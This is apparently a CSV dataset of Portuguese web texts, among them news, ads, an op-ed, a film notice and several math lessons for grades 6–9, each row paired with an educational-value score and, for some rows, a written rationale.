privacidad +Leave this field empty if you're human: +Chile +Chile cria novos parques marinhos +Novas áreas protegidas são maiores que o território chileno +Cristina Veiga setembro 14, 2017 +Share +Chile terá área marinha protegida de 1,8 milhão de quilômetros quadrados (imagem: Nico Giraldez) +O Chile terá uma área marinha protegida de 1,8 milhão de quilômetros quadrados em 2018, depois da criação das Áreas Marinhas Protegidas (AMP) de Rapa Nui, Juan Fernández e Cabo de Hornos. +O anúncio foi feito pela presidente do Chile, Michelle Bachelet, durante o durante o 4º Congresso Internacional de Áreas Marinhas Protegidas (IMPAC 4), encerrado na última semana na cidade costeira chilena de Viña del Mar. +“Vamos ter mais áreas marinhas protegidas que território no continente”, disse um entusiasmado ministro das Relações Exteriores do Chile, Heraldo Muñoz, ao comentar a criação da Rede de Áreas Marinhas de Magalhães formadas pelas três novas AMPs com as duas já existentes. +As AMPs são perímetros geograficamente definidos, regulados e administrados com o objetivo de preservação constituindo um refúgio para a biodiversidade ao resguardar os ecossistemas e permitir a reprodução das espécies marinhas. As AMPs funcionam ainda como um laboratório de estudo dos mares que sofrem os efeitos das mudanças climáticas e da ação dos homens. +“O parque tem grande valor para ciência porque permitirá, além de proteger o arquipélago mais austral do continente americano, proteger e investigar montes submarinos ainda poucos explorados e que têm formação com mais de quatro mil metros de altitude com cumes que estão a apenas algumas dezenas de metros de profundidade”, afirma Francisco Squeo, investigador do Instituto de Ecologia e Biodiversidade do Chile. “Nesses montes, foram encontradas espécies de coral de 12.500 anos de antiguidade, registros chave para entender as mudanças climáticas”. +O novo Parque Marinho Cabo de Hornos, na região de Magalhães e da Antártica Chilena, também é considerado de extrema importância pelos cientistas porque é onde se realiza o monitoramento permanente de variáveis climáticas e biológicas. O resultado é que a área foi incorporada às redes nacional e internacional de Lugares de Estudos Ecológicos de Longo Prazo e fez com que a UNESCO declarara, em 2005, Reserva Mundial de Biosfera todo território que fica entre o Canal de Beagle e o Cabo de Hornos. +“A criação de uma área de proteção ambiental é algo pelo qual lutamos há anos”, disse Liesbeth van der Meer, disse a diretora executiva da organização não-governamental Oceana Chile. Ela acrescentou ser impossível manter uma área de proteção ambiental ser a participação ativa da comunidade, neste caso da comunidade de La Higuera durante todo o processo. +Próximos passos +Os ambientalistas estão agora focados na implementação das novas AMPs. +“A gestão é fundamental. Não queremos parque de papel. Existem enormes desafios de compliance e cumprimento de leis de AMPs de grande escala quando se está longe delas”, disse Aulani Wilhelm, vice-presidente sênior do Centro Internacional para Conservação dos Oceanos. +“A gestão não é sobre a natureza, é sobre as pessoas. Temos que fazer esse vínculo estratégico”, recomendou Wilhelm. +Segundo ela, existem hoje 30 áreas protegidas em 14 países, que cobrem 21,3 milhões de quilômetros quadrados, o que equivale a 6% do total da superfície marinha. +O aumento das áreas marinhas protegidas do Chile interessa é muito a China por ser o país asiático um dos maio...",original,original,original,original,4,0.8 +"Em geral empresas, principalmente de tecnologia da informação, lidam com uma quantidade gigantesca de dados, sendo muito trabalhoso lidar com a informação de forma tradicional através de planilha de Excel, por exemplo. +Desta forma o Power BI é uma solução de análise de negócios, que possibilita a geração de inúmeros relatórios de um modo intuito e prático. Com o Power BI sua empresa ganha agilidade e maior conexão com o banco de dados locais e nuvem de arquivos. +Conheça mais sobre a Certificação de Power BI e como se preparar. +O que é a certificação de Power BI +Na profissão de Dados o Power BI está inserido na maioria das rotinas, de modo que é essencial que você domine todas as suas funcionalidades. Mais do que saber usar, é preciso provar que tem o conhecimento e habilidades na utilização da plataforma. +E é aqui que entre a Certificação de Power BI. +Certificados melhoram as suas chances de conseguir um emprego no setor de tecnologia da informação, pois demonstram que você domina as habilidades para usar um determinado programa, como o Microsoft Power BI. +A certificação é feita através de exames como o DA-100, onde os conhecimentos e habilidades na plataforma são testados através de questões múltipla escolha. +Veja como se preparar para o exame que garante a sua certificação. +Como se preparar para a Certificação Power BI +Para obter um bom resultado no exame da certificação Power BI é necessário muito estudo e dedicação, de modo que você tenha amplo conhecimento e uma base sólida sobre a plataforma. +O ideal é investir em um curso preparatório, como os Cursos práticos da Pulsefy, que trazem uma programação de estudo bem organizada e definida. +Por meio de um curso preparatório o seu processo de aprendizagem fica mais facilitado, pois, o curso fornece todas as competências que são exigidas no exame de certificação do Power BI. +Totalmente online, nosso curso preparatório traz uma abordagem prática por meio de vídeos, quizzes e uma série de materiais complementares para enriquecer a sua experiência. +Com a conclusão do curso você ganha um voucher que pode ser compartilhado em redes sociais, como o LinkedIn, criando um destaque para o seu perfil profissional. +Dicas para o dia do exame +No dia do exame é importante estar tranquilo e calmo, especialmente para poder responder todas as perguntas com atenção e evitar erros. +É preciso muita atenção para se lembrar do que foi aprendido e não cair em pegadinhas. +É necessário estar preparado não somente no conhecimento, mas também de forma psicológica. Portanto, procure sair com antecedência, de modo que você chegue ao local da prova com antecedência mínima de 30 minutos. +Alimentar-se bem e ter uma boa noite de sono é fundamental, procure levar uma água e alimentos leves para o local da prova, sempre respeitando o edital do exame. +Saiba administrar o seu tempo, não perca o seu tempo caso tenha dúvida em alguma questão, pule para a próxima e volte para esta ao fim da prova.",original,original,original,original,2,0.4 +"Após polêmica, cabeleireiro desfila como 'governante fascista' em ala da Gaviões da Fiel com integrantes vestidos de militares +Talis Andrade +Foto: Marina Pinhoni/g1 +Por g1 SP +Após ter dito que desfilaria pela Gaviões da Fiel representando o presidente Jair Bolsonaro gay, o cabeleireiro Neandro Ferreira entrou no Anhembi na madrugada deste sábado (24) representando um ""governante fascista"" em uma ala com integrantes vestidos de militares. Ele usava terno e uma faixa amarela e azul. +Ao g1, Neandro explicou que a Gaviões o convidou para representar um ""governante fascista"" no desfile, mas que não seria nenhuma pessoa específica. ""Ninguém falou que eu ia vir de Bolsonaro, falavam só que eu ia vir de um governante, um presidente fascista, que poderia ser qualquer presidente"", disse o cabeleireiro. +Representação de Bolsonaro gay em desfile da Gaviões da Fiel divide opiniões nas redes sociais +No entanto, ele, por conta própria, assumiu que este governante seria o Bolsonaro e começou a fazer piadas sobre o assunto. ""Aí eu comecei a brincar, vou dar pinta de gay, vou vir sambando, vai ser engraçado"". O cabeleireiro também afirmou que este seria seu papel no desfile em entrevistas para a imprensa. +Após o desfile, Neandro disse que ""faltou o povo gritar fora Bolsonaro pra ele"". +""Não imaginei que teria tanta polêmica eu vir fantasiado de presidente. Mas o que fizemos foi um desfile de protesto por um Brasil melhor e mais moderno. Contra todos os preconceitos. Faltou só o público gritar 'fora Bolsonaro' pra mim. Achei que isso fosse acontecer"". +Cabeleireiro chega à dispersão da Gaviões — Foto: Gustavo Petró/g1 +Cabeleireiro representa um 'governante fascista' — Foto: Marina Pinhoni/g1 +Cabeleireiro representa governante fascista em desfile da Gaviões — Foto: Cíntia Acayaba/g1 +Após a repercussão do caso, o cabeleireiro disse que recebeu todo o suporte da escola, e contou que está sofrendo ataques na internet. ""Fui atacado tanto pela comunidade LGBT, que estão falando que eu usei o gay para ridicularizar o presidente, que ser gay não é pejorativo. E tem ainda o outro lado, os machões bolsonaristas"". +Neandro contou que está cuidando da sua segurança, mas que seu objetivo agora é se divertir no carnaval após dois anos sem festas por causa da pandemia. +""O foco é só coisas boas, mas no momento estou quase um Judas, prestes a ser malhado"", brincou Neandro.",original,original,original,original,1,0.2 +"Olá, exploradores da matemática! Já pararam para pensar como os números estão presentes em tudo o que fazemos? Desde calcular o troco no mercado até entender as estatísticas do seu time de futebol favorito, a matemática é uma ferramenta poderosa para compreendermos o mundo ao nosso redor. Hoje, vamos embarcar em uma jornada para desvendar os mistérios das operações básicas: adição, subtração, multiplicação e divisão. + +**Adição: Unindo Forças!** +A adição é a operação de juntar quantidades. Imagine que você tem 3 figurinhas de um álbum e ganha mais 5 do seu amigo. Quantas figurinhas você tem agora? Isso mesmo, 3 + 5 = 8 figurinhas! A adição nos ajuda a somar diferentes valores e encontrar o total. + +**Subtração: Retirando Elementos!** +A subtração é o contrário da adição. Em vez de juntar, nós retiramos. Se você tem 10 balas e come 4, quantas balas sobraram? 10 - 4 = 6 balas! A subtração é essencial para calcular diferenças e saber o que resta. + +**Multiplicação: A Soma Acelerada!** +A multiplicação é uma forma rápida de somar o mesmo número várias vezes. Pense em um pacote com 6 canetas. Se você comprar 3 pacotes, quantas canetas terá no total? Em vez de fazer 6 + 6 + 6, podemos usar a multiplicação: 3 x 6 = 18 canetas! A multiplicação facilita a contagem quando temos grupos iguais. + +**Divisão: Compartilhando Igualmente!** +A divisão é a operação de repartir algo em partes iguais. Imagine que você tem 20 chocolates para dividir entre 5 amigos. Quantos chocolates cada amigo receberá? 20 ÷ 5 = 4 chocolates para cada um! A divisão nos ajuda a distribuir e a entender frações. + +**Exemplos Práticos no Dia a Dia:** +* **Cozinhando:** Ao seguir uma receita, você usa adição para somar os ingredientes e divisão para ajustar as porções. +* **Fazendo Compras:** Você usa subtração para calcular o troco e multiplicação para saber o preço total de vários produtos. +* **Planejando uma Viagem:** Você usa todas as operações para calcular distâncias, tempos de viagem e custos. + +**Desafio para Você!** +1. Se você comprar 2 pizzas, cada uma com 8 fatias, e dividir igualmente entre você e 3 amigos, quantas fatias cada um comerá? +2. Você tem R$50 e quer comprar 3 brinquedos que custam R$12 cada. Quanto dinheiro sobrará? + +**Conclusão:** +As operações matemáticas básicas são a base para resolver problemas complexos e entender o mundo ao nosso redor. Pratique, experimente e descubra como a matemática pode ser divertida e útil em sua vida! Lembre-se: quanto mais você praticar, mais fácil e natural se tornará o uso dessas ferramentas. Explore, questione e nunca pare de aprender! A matemática está em toda parte, esperando para ser desvendada!",Matemática,Números e operações básicas,anos finais (6º ao 9º ano),"O texto apresenta conceitos matemáticos básicos de forma clara e acessível, utilizando exemplos práticos e cotidianos que facilitam a compreensão, além de propor desafios que incentivam a aplicação do conhecimento. O estilo de escrita é adequado para o público-alvo, tornando o aprendizado divertido e engajador, o que o torna valioso para o ensino fundamental.",5,1.0 +"Olá, exploradores da matemática! Já pararam para pensar como as medidas e grandezas estão presentes em tudo ao nosso redor? Desde o tamanho do seu tênis até a quantidade de água que você bebe por dia, tudo envolve medição! Vamos embarcar juntos nessa jornada para entender melhor esse universo fascinante. + +Imagine que você está planejando uma festa de aniversário. A primeira coisa que precisa fazer é decidir onde a festa vai acontecer, certo? Talvez no quintal de casa ou em um salão de festas. Para escolher o lugar ideal, você precisa medir o espaço disponível. Usamos unidades de medida como metros quadrados (m²) para saber se todos os convidados caberão confortavelmente. + +Depois, vem a hora de pensar na comida e na bebida. Para fazer um bolo delicioso, precisamos seguir uma receita, que indica a quantidade de cada ingrediente: gramas (g) de farinha, mililitros (ml) de leite, e assim por diante. Essas são outras unidades de medida que nos ajudam a garantir que o bolo fique perfeito! E para saber quantos refrigerantes comprar, precisamos estimar a quantidade que cada pessoa vai beber, usando litros (l) como unidade de medida. + +Além da área, da massa e do volume, o tempo também é uma grandeza fundamental. Quanto tempo leva para assar o bolo? Quanto tempo dura a festa? Medimos o tempo em segundos, minutos, horas, dias, semanas e anos. Compreender o tempo é essencial para planejar qualquer atividade, desde a mais simples até a mais complexa. + +As medidas de comprimento também são importantíssimas. Se você quer comprar um novo celular, precisa saber o tamanho da tela, que geralmente é medido em polegadas. Se você vai viajar, precisa saber a distância entre as cidades, medida em quilômetros (km). E se você está construindo uma maquete, precisa usar uma régua para medir os pedaços de madeira em centímetros (cm) ou milímetros (mm). + +Percebem como as medidas e grandezas são essenciais em diversas situações do nosso cotidiano? Elas nos ajudam a organizar, planejar e entender o mundo ao nosso redor. Dominar esses conceitos não é apenas importante para a matemática, mas para a vida! + +Para finalizar, que tal um desafio? Observe o seu quarto e tente identificar diferentes objetos que podem ser medidos. Quais unidades de medida você usaria para cada um? Compartilhe suas descobertas com seus amigos e familiares. A matemática está em todo lugar, basta saber olhar com atenção! + +Lembrem-se: medir é conhecer, e conhecer é poder transformar o mundo!",Matemática,Medidas e grandezas,anos finais (6º ao 9º ano),"O texto introduz o conceito de medidas e grandezas de forma contextualizada e acessível, usando exemplos do cotidiano como festas de aniversário e a compra de um celular. Apresenta unidades de medida comuns e desafia o leitor a aplicar o conhecimento, tornando-o relevante para o ensino fundamental. A linguagem é clara e o conteúdo é adequado para a faixa etária.",5,1.0 +"SABOR DA VIDA de Naomi Kawase estreia nesta quinta, 03 de dezembro | Recanto Adormecido +Por Luiz Guirra 2 dezembro, 2015 15:41 +Cine Debate exibe drama chinês “Nenhum a menos” de Zhang Yimou 0 16.mar +Melancholia, novo filme do diretor Lars Von Trier, tem novas imagens divulgadas 0 26.jul +Cinemateca Brasileira apresenta uma seleção do Cinema Norueguês Contemporâneo 0 05.jul +SABOR DA VIDA de Naomi Kawase estreia no Rio de Janeiro, Porto Alegre, Brasília, Salvador e Recife, em São Paulo entra em pré estreia, com estreia prevista para dia 10 de dezembro. O filme foi escolhido pelo publico da 39a Mostra Internacional de Cinema como o “Melhor Filme – Votação do Público”. SABOR DA VIDA começou sua carreira em festivais durante o Festival de Cannes desde ano onde foi o filme de abertura da Mostra Un Certain Regard. +Sentaro dirige uma pequena loja que serve dorayakis – panquecas recheadas com pasta de feijão vermelho doce (conhecido como “AN”). Quando uma senhora de idade, Tokue, se oferece para ajudar na cozinha, ele relutantemente aceita. Mas Tokue prova ter um toque de mágica quando se trata de fazer “an”. Graças à sua receita secreta, o pequeno negócio logo floresce … E com o tempo, Sentaro e Tokue abrem seus corações para revelar velhas feridas. +COMENTÁRIOS DE NAOMI KAWASE +Cerejeiras em flor nos lembram da morte. Eu não sei de nemhuma outra árvore cujas flores florescem de uma forma tão espetacular e têm suas pétalas caindo e se espalhando tão repentinamente. É este o motivo por trás do nosso fascínio pelo florescimento das cerejeiras? É por isso que somos obrigados a ver um reflexo de nossas próprias vidas nelas? +Sentaro, Tokue e Wakana se conhecem quando as cerejeiras estão em plena floração. As trajetórias dessas três pessoas são muito diferentes. E, no entanto, suas almas se cruzam e conhecem umas às outras nas mesmas paisagens. +Nossa sociedade nem sempre está predisposta a deixar os nossos sonhos se tornarem realidade. Às vezes, ela engole as nossas esperanças. +Depois de saber que Tokue está infectada com lepra, a história nos leva a uma busca pela essência do que nos torna humanos. Como diretora, eu tenho a honra e o prazer de explorar diferentes vidas através do cinema, como é o caso com este filme. +Ao revelar a mecânica complexa desta sociedade eu espero promover uma compreensão da própria essência da existência. +SABOR DA VIDA é o encontro de duas almas que se unem para enfrentar os obstáculos da vida. Quantas vezes temos de ser derrubado antes de podermos alcançar o paraíso? +Às vezes um silêncio impenetrável nos engole. E, no entanto, a alegria resultante do compromisso e conexão com o mundo nos permite apreciar melhor suas mudanças e evolução. Através deste filme, desejo, portanto, revelar e sublinhar a alegria que somos capazes de sentir nestes momentos precisos. +Ao longo de nossas vidas, há momentos em que podemos encontrar-nos preenchidos com pesar e desespero, com vontade de desistir. Apesar disso – ou talvez por causa disso – somos capazes de sustentar nossas esperanças e de continuar a ter fé no futuro. +TAGS: cinemafilmeKirin KikiMasatoshi NagaseNaomi KawaseSABOR DA VIDA",original,original,original,original,2,0.4 +"O Calendário Bolsa Família 2017 poderá ser consultado pela internet. O Calendário Bolsa Família 2017 fica disponível no site da Caixa Econômica Federal. +Os beneficiados desse programa precisam consultar esse calendário para terem conhecimento sobre quando é que o benefício será pago. Essas datas variam de acordo com o final do cartão do benefício, portanto, não é igual para todos. +Se você recebe bolsa família, não deixe de consultar o calendário referente ao ano de 2017. Por enquanto, ainda não foi atualizado, mas dentro em breve será e iremos trazer as informações para você consultar. +Esse benefício tornou-se muito importante para as famílias, visto que elas precisam desse auxilio para conseguir ter mais qualidade de vida. O seu pagamento é importante e por esse motivo o Governo se organiza para disponibiliza-lo em dia. +Bolsa família 2017 é um programa social criado pelo governo federal. Ele é destinado as famílias de baixa renda e tem o objetivo de oferecer uma ajuda financeira todos os meses. +Ao todo já são 13,9 milhões de famílias beneficiadas em todo o Brasil. Caso você ainda não faça parte desse programa, confira no próximo tópico como funciona e quem tenho direito a receber o benefício. +Importante entender quem tem direito ao bolsa família 2017, pois muitas pessoas deixam de solicitar porque não sabem quais são os requisitos necessários para tal. +Esses são os requisitos necessários para ter direito ao programa: +Famílias que possuem renda mensal de até R$77 por pessoa e o máximo de R$154 por pessoa; +Para se cadastrar no programa as famílias devem fazer a inscrição no Cadastro Único para Programas Sociais do Governo Federal e ele deve estar atualizado há pelo menos 2 anos. +O novo calendário Bolsa Família 2017 ainda não foi publicado, dentre em breve as datas serão atualizadas e iremos trazê-las para você. +Abaixo deixamos o calendário referente ao ano anterior para que você tenha conhecimento sobre como é dividido o dia e mês do pagamento do benefício. +Assim que o novo calendário para 2017 estiver disponível, consulte pelo site da CAIXA: http://www.caixa.gov.br/programas-sociais/bolsa-familia/Paginas/default.aspx +Veja que as datas são definidas de acordo com o último digito do cartão. No calendário ficam as datas certas para o ano inteiro, de janeiro a dezembro.",original,original,original,original,1,0.2 +"Degustadores Sem Fronteiras | CALIFÓRNIA : SOB O SIGNO DO SOL +post-template-default,single,single-post,postid-2157,single-format-standard,ajax_fade,page_not_loaded, +“A Califórnia é o lugar ideal para se viver – se você for uma laranja” +(Frase do snob humorista americano da costa leste Fred Allen -1894-1956) +Matéria escrita em 2013 na revista GO WHERE VINHOS sobre a viagem realizada naquele ano à Califórnia. +Embora muitos não saibam, a indústria cinematográfica americana se iniciou, no início do século XX, na costa leste, nas cidades de Nova York e Chicago. O cinema era então um engenho primitivo, os filmes, pouco sensíveis à luz, e uma região sujeita a invernos rigorosos e pouco favorecida pela luz natural pouco podia contribuir para o florescimento desta indústria. +Atraídos pela promessa de 350 dias de sol por ano que a Câmara de Comércio de Los Angeles apregoava, os produtores começaram a migrar para a Califórnia, começando a produzir seus filmes ali por volta de 1907. Foi o início dessa empreitada de enorme sucesso que todos nós conhecemos e que se chama Hollywood. +Quando falamos em vinho, uvas e videiras, assuntos em que o sol desempenha influência preponderante, é evidente que também vale o argumento acima citado. Os vinhedos que surgiram em Nova York, Nova Jersey, Virgínia e Ohio, não resistiram não só ao rigor do inverno, mas também aos verões muito úmidos e quentes somados ao flagelo da filoxera, grande inimiga das cepas europeias. +Nesta época, já se produzia vinho com sucesso na Califórnia, com um pequeno detalhe: a Califórnia não fazia parte dos Estados Unidos, mas do México, um problema que os americanos iriam resolver algum tempo depois… +DOIS DEDOS DE HISTÓRIA +O colonizador espanhol plantou as primeiras videiras com relativo sucesso já no século XVI. Somente após 200 anos, quando os missionários franciscanos rumaram para o norte e para a costa da Califórnia, é que se plantou a primeira vitis vinifera, mais precisamente em 1779, quando o padre Junípero Serra fundou a missão de San Diego. Essas primeiras vinhas, do tipo Mission, foram a base da vinicultura local por cerca de um século. +Ao contrário do que acontecera na costa leste americana, em que a vitivinicultura fora um fiasco, a vitis vinifera vai encontrar na Califórnia seu habitat ideal, em função do clima, condições do solo e insolação. Após a anexação da Califórnia aos EUA (1847) e a “Corrida do Ouro” que se seguiu (1849), as plantações migraram de Los Angeles para a região de San Francisco, mais ao norte, especialmente para o napa valley, além de livermore valley e santa clara valley. +Grandes investimentos feitos no fim do século passado, aliados às pesquisas da Universidade da Califórnia, resultaram num grande aumento da produção e melhoria da qualidade do produto. Cerca de 300 variedades viníferas foram plantadas, como a Chasselas, a Zinfandel, a Burguer, além da ainda predominante Mission. +Porém, a viticultura americana teria pela frente dois inimigos terríveis a serem vencidos para conseguir firmar-se definitivamente: a Phylloxera, que atingiria a Califórnia por volta de 1880 devastando seus parreirais, e a absurda Repeal of Prohibition (mais conhecida como “Lei Seca”), que perduraria de 1920 a 1933, esta Phylloxera jurídica de inspiração puritana que viria a aniquilar todo o mercado de bebidas que contivessem álcool nos EUA, e que só viria a recuperar-se no pós-guerra. O desastre só não foi total para a indústria do vinho porque continuou-se a produzir o vinho litúrgico e também suco de uva com a patética advertência no rótulo: “Cuidado, não adicione levedura, senão o conteúdo fermentará”. +O período dourado do vinho californiano viria a acontecer a partir dos anos 70 até nossos dias, quando enormes investimentos foram feitos, principalmente nas regiões de napa e sonoma, iniciando-se a produção de vinhos a partir das cepas mais nobres (Cabernet Sauvignon, Chardonnay, etc.). É nesse período que o americano desperta para o vinho, pois nunca havia sido um ...",original,original,original,original,4,0.8 +"No final da década de vinte o mundo foi abalado pela queda da bolsa de Nova Iorque. O colapso foi geral, a política neoliberal sofreu o primeiro baque financeiro e os banqueiros foram pedir ajuda para quem criticava por atrapalhar, o Estado. +O presidente dos EUA, Franklin Delano Roosevelt, era defensor da presença do Estado na economia, e foi o próprio Estado que salvou os bancos do buraco. Em vez de tomar medidas rudimentares e impopulares, Roosevelt criou medidas para que o país não decretasse a falência. Estimulou a criação de empregos braçais, construíram ferrovias, escolas e prédios com ajuda (quem diria) do Estado. +São nesses momentos de crises que, ao contrário do que muitos pensam, a economia e os projetos de combate à desigualdade devem ser praticados no momento. Na última grande crise dos bancos, os Estados Unidos e a União Europeia estavam na rota de salvar de novo os grandes bancos, há oito anos. O diferencial dessa crise foi a concentração dela. Os demais blocos econômicos não sentiram os efeitos da crise. +Brasil, China, Rússia e Índia passaram ilesos na crise. A Rússia tratou de renovar sua poderosa frota militar que tinha ficado a míngua com o fim dos países do bloco socialista. Os russos somente estavam combalidos e não mortos. Hoje ela se faz presente na nova conjuntura mundial e renovou as forças armadas com novos equipamentos de guerra. +O Brasil passou imune à crise financeira. A marolinha passou muito longe. O brasileiro estava consumindo muito, a renda salarial permitia um consumo exacerbado. Neste ano fomos um dos poucos países que desenvolveu com êxito as políticas econômicas e sociais. No entanto, o país não soube se aproveitar da crise para por em prática as infraestruturas que tanto faz falta em nossos dias. +Atualmente o governo golpista, em nome da recuperação da economia, está planejando vender estatais importantíssimas e vitais para a segurança do país. Num lapso de memória, o atual governo golpista, disse que regredimos vinte anos em dois anos. De fato, regredimos. +Enquanto o governo comemora o fim da recessão, estamos voltando ao mapa da fome e outras lutas de combate à fome e à pobreza. Ainda em nome da economia, ele corta pela metade os repasses para educação e saúde e demais medidas antipopulares. Era semelhante no regime militar, o PIB era dos maiores e enquanto isso o povo não se beneficiava, os indicadores sociais eram semelhantes aos países da África. Existe algum motivo para comemoramos? Tire suas conclusões .",original,original,original,original,4,0.8 +"Você já parou para pensar em quantas vezes frações e decimais aparecem no seu dia a dia? Talvez não perceba, mas eles estão presentes em diversas situações, desde a receita do bolo da sua avó até o cálculo do desconto daquela roupa que você tanto queria! Vamos explorar juntos esse universo fascinante e descobrir como dominar esses conceitos pode facilitar a sua vida e te ajudar a brilhar nas aulas de matemática. + +Primeiramente, vamos relembrar o que são frações. Uma fração representa uma parte de um todo. Imagine uma pizza dividida em 8 pedaços iguais. Se você come 3 desses pedaços, você comeu 3/8 (três oitavos) da pizza. O número de cima, o 3, é o numerador, e indica quantas partes você pegou. O número de baixo, o 8, é o denominador, e indica em quantas partes o todo foi dividido. Frações podem representar quantidades menores que um inteiro, mas também podem representar quantidades maiores, como 5/4 (cinco quartos), que é mais que uma pizza inteira! + +E os decimais? Decimais são outra forma de representar frações, principalmente aquelas cujo denominador é uma potência de 10 (10, 100, 1000, etc.). Por exemplo, a fração 1/10 (um décimo) pode ser escrita como 0,1. A fração 25/100 (vinte e cinco centésimos) pode ser escrita como 0,25. Decimais são muito úteis para representar medidas, como altura (1,65 metros) ou peso (52,3 quilos). Pense no dinheiro: R$ 0,50 representa cinquenta centavos, que é a metade de um real! Você já se perguntou por que usamos a vírgula para separar a parte inteira da parte decimal? + +A grande sacada é entender que frações e decimais são apenas diferentes formas de representar a mesma coisa: partes de um todo. Podemos transformar frações em decimais e vice-versa. Para transformar uma fração em decimal, basta dividir o numerador pelo denominador. Por exemplo, para transformar 1/2 em decimal, dividimos 1 por 2, que resulta em 0,5. E para transformar um decimal em fração? Depende! Se tivermos 0,75, podemos ler ""setenta e cinco centésimos"" e escrever como 75/100. Depois, podemos simplificar essa fração, dividindo o numerador e o denominador pelo mesmo número, até chegar à forma irredutível, que, nesse caso, seria 3/4. Que tal você tentar transformar 0,6 em fração? + +Aplicações práticas? Inúmeras! Ao cozinhar, frequentemente precisamos ajustar as quantidades dos ingredientes. Se uma receita pede 1/2 xícara de açúcar, e você quer fazer apenas metade da receita, precisará de 1/4 de xícara. Ao fazer compras, comparar preços por quilo (ou por litro) envolve lidar com decimais. Qual é mais barato: um pacote de 500 gramas de arroz por R$ 3,50 ou um pacote de 1 quilo por R$ 6,80? E ao calcular seus gastos mensais, você certamente estará usando decimais para somar suas despesas. + +Dominar frações e decimais te dá superpoderes para resolver problemas do dia a dia e construir uma base sólida para conceitos matemáticos mais avançados. Continue praticando, experimentando e explorando as maravilhas da matemática! E lembre-se: a matemática está em todo lugar, basta saber olhar!",Matemática,Frações e decimais,anos finais (6º ao 9º ano),"O texto recebe nota máxima (5) por apresentar um excelente valor educacional, adequado para o ensino fundamental. Inicia com exemplos do cotidiano para engajar o aluno, introduz os conceitos de frações e decimais de forma clara e gradual, explica as relações entre eles e demonstra aplicações práticas. O estilo de escrita é acessível, estimulante e não apresenta informações desnecessárias ou complexas para o nível de ensino.",5,1.0 +"Nascido em Nova Venécia, Wemerson atualmente reside na Serra, onde vai disputar pela primeira vez as eleições. Ele é um dos pré-candidatos do partido à Câmara Federal. “Sou pré-candidato a deputado federal porque acredito no meu projeto de vida para melhorar o meu Estado e país”, disse ele. +Professor de Ciências, ele é o idealizador do projeto “Filtrando as Lágrimas do Rio Doce”, que ajudou a mais de 30 mil famílias, vítimas do desastre ambiental após o rompimento das barragens da Samarco, em Minas Gerais. “Fui projetado mundialmente como referência na educação, sendo eleito o professor nota 10 do Brasil e um dos 10 melhores do mundo. Minha principal bandeira será a educação, que infelizmente não tem sido pauta de prioridade para nossos governantes”, avaliou. +O professor disse ainda que seu projeto tem como foco construir de forma coletiva os princípios da democracia brasileira. “Este ano, será a eleição da verdade e eu desejo que a população capixaba, no dia das eleições, busque agir com o coração e a razão”, concluiu.",original,original,original,original,2,0.4 +"A democracia, a confiança e as escolhas da esquerda | Blog do murilopohl +Filed under: Uncategorized | Tagged: DEMOCRACIA, em portugal, hegemonia | +« PT e PSD estão próximos em dois terços das capitais “Trucidamento da família Kubitzky”, grilagem e especulação imobiliária »",original,original,original,original,1,0.2 +"Não deixe de participar do debate, envie as suas perguntas para o e-mail [email protected] até às 12h do dia 26 de junho de 2012. Sua participação é fundamental para que os candidatos possam se apresentar, colocar os seus objetivos e sanar as dúvidas de todos. +O Debate será um espaço amigável, respeitoso e imparcial, foi criado para que você, participante da ELOS, possa conhecer melhor os candidatos a este cargo e suas plataformas eleitorais. +O debate será realizado no Auditório da Sede da Eletrosul, dia 27/06, das 9h30 às 11h30. Contamos com a sua participação e sua presença. Mas, atenção! Não será possível realizar perguntas durante o debate! +Voltar e ver mais conteúdos +Notícias relacionadas +Ver mais conteúdos +Motivos para ficar com a gente! +Somos uma Entidade Fechada de Previdência Complementar (EFPC), sem fins lucrativos, com autonomia administrativa e financeira. Por não visarmos lucro e contarmos com um time eficiente e comprometido, podemos oferecer uma das menores taxas administrativas do mercado de previdência. Outro diferencial é o atendimento próximo e acolhedor. Nossa motivação é sonhar um futuro próspero junto com você. +1 +Fique por dentro do que acontece na ELOS +Abrimos leilão para venda de três imóveis +A venda destes imóveis faz parte do nosso plano de desinvestimento imobiliário +Veja mais +Horários de atendimento em dias de jogos do Brasil +Fique atento aos horários de atendimento diferenciados em dias de jogos do Brasil nas oitavas de final da Copa 2022!",original,original,original,original,1,0.2 +"Maquiagem diária: o pó e o batom, como usar bem - FazFácil +Maquiagem diária… +Tem de ser rapidinha mas eficiente! +O pó facial confere um aspecto mais aveludado a pele além de ajudar a cobrir imperfeições e amenizar o brilho excessivo. +Se você deseja retoques de uma maquiagem já feita, opte pelo pó na sua apresentação compacta. +Mas se quer apenas livrar-se daquele brilho persistente no nariz o pó facial solto ou simplesmente pó facial pode ser a escolha adequada. +Ao comprar, opte por àqueles que são não comendogênicos, isto é , que não propiciam o aparecimento da acne. +Quando aplicar o pó facial? +Após a aplicação do meu corretivo , o pó facial será o próximo passo da minha maquiagem para o dia. +Maquiagem diária – pincel pó facial +Aplicarei em todo o rosto cobrindo olhos , boca?! +Inclusive , pois até ajuda na fixação do batom que vem logo a seguir, podendo se espalhar até o colo se ele também vai ficar exposto. +Os compactos, aplicamos com uma esponja de espuma, própria para maquiagem ,que é facilmente encontrada hoje em dia , até supermercados já vendem. +Quantos aos soltos , um pincel grande e bem macio. +Esse pincel é maior do que aqueles que conhecemos para aplicação do blush. +Maquiagem diária – Como escolher o batom +E então vamos para o passo seguinte,e por fim , mas não menos +importante : a aplicação do batom. +Maquiagem diária o batom +Dica valiosíssima: prefira os tons nude ou chamados cor de boca . +Encontramos desde rosas a chocolates discretos, todos aproximando-se da cor natural dos lábios. +São perfeitos para usar na maquiagem diária, num ambiente de trabalho e até mesmo num dia descompromissado como aqueles em que saímos para passear com nossos filhos no parquinho da praça. +Aplique o batom ( se tiver um tempinho ,com pincel pois demonstra melhor a cor e evita desperdício) e você está pronta pra encarar o dia-a-dia com um visual limpo, chique e bem rapidinho como o dia-a-dia pede. +Fotos utilizadas sob licença Creative Commons: Idhren, Ana Patrícia Almeida",original,original,original,original,0,0.0 +"Blog demanda mais tempo do que quem lê consegue imaginar. Por exemplo, neste momento eu poderia estar colocando as minhas séries em dia, assistindo a novela das 19h ou lendo qualquer outro livro que não faça parte das minhas parcerias. Mas eu estou aqui, escrevendo esse post para vocês porque, infelizmente, eu não posso fugir muito da programação do blog, se não vocês vão embora e não voltam mais. +SOSELIT #7 Ebooks piratas e a cultura do “se eu gostar, eu compro” +Eu sei como é difícil, ainda mais quando temos uma vida por fora né..Trabalho, estudo acaba se tornando tudo difícil mas quando fazemos aquilo que amar, fica tudo mais fácil..Eu criei o meus faz um ano e estou super dedicada a ele, as vezes nem tenho como mais sempre procura fazer o bom e do 